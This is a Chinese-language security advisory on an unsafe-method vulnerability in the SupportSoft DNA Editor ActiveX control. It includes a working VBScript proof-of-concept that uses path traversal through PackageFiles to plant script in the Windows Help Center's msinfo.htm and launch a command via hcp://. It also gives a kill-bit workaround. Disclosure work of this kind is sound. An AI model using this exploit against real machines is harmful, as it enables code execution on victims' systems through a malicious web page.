SupportSoft DNA Editor Module ActiveX控件不安全函数调用漏洞
发布日期：2009-03-04
更新日期：2009-03-06
受影响系统：SupportSoft DNA Editor Module v6.9.2205
描述：
BUGTRAQ ID:
34004
SupportSoft是美国的一家实时服务管理软件供货商。
SupportSoft产品中所提供的DNA Editor Module ActiveX控件（dnaedit.dll，CLSID: {01110800-3E00-11D2-8470-0060089874ED}）没有正确地过滤对Packagefiles()、SaveDna()、AddFile()、SetIdentity()等方式所传送的参数，如果用户受骗访问了恶意网页并向上述方式传送了特制参数的话，就可能导致拒绝服务、向用户系统下载恶意文件或执行任意代码。
<*来源：bruiser
链接：
http://marc.info/?l=bugtraq&m=123627416009531&w=2
http://secunia.com/advisories/34163/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
-->
<HTML>
<OBJECT classid='clsid:01110800-3E00-11D2-8470-0060089874ED' width=1 height=1 id='DNAEditorCtl' />
</OBJECT>
<SCRIPT language='VBScript'>
<!--
sh="<HTML><SCRIPT LANGUAGE=VBScript>" + unescape("Execute%28unescape%28%22Set%20s%3DCreateObject%28%22%22WScript.Shell%22%22%29%250D%250As.Run%20%22%22cmd%20%252fc%20start%20calc%22%22%22%29%29") + "<" + Chr(47) + "SCRIPT><" + Chr(47) + "HTML>"
'file path is injected in msinfo.htm, you can see the code by an hex editor, some limit with *number* of chars, some problem with newlines, resolved with vbscript code evaluation by Execute(), a popup says Unable to post... click Ok or close it and you are pwned
DNAEditorCtl.PackageFiles sh + "../../../../../../../../../WINDOWS/PCHEALTH/HELPCTR/System/sysinfo/msinfo.htm"
'launch the script and calc.exe trough the Help and Support Center Service
document.write("<iframe src=""hcp://system/sysinfo/msinfo.htm"">")
-->
</SCRIPT>
建议：
临时解决方法：
* 为CLSID: {01110800-3E00-11D2-8470-0060089874ED}设置kill-bit。
厂商补丁：
SupportSoft
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.supportsoft.com/浏览次数：2382
严重程度：0（网友投票）
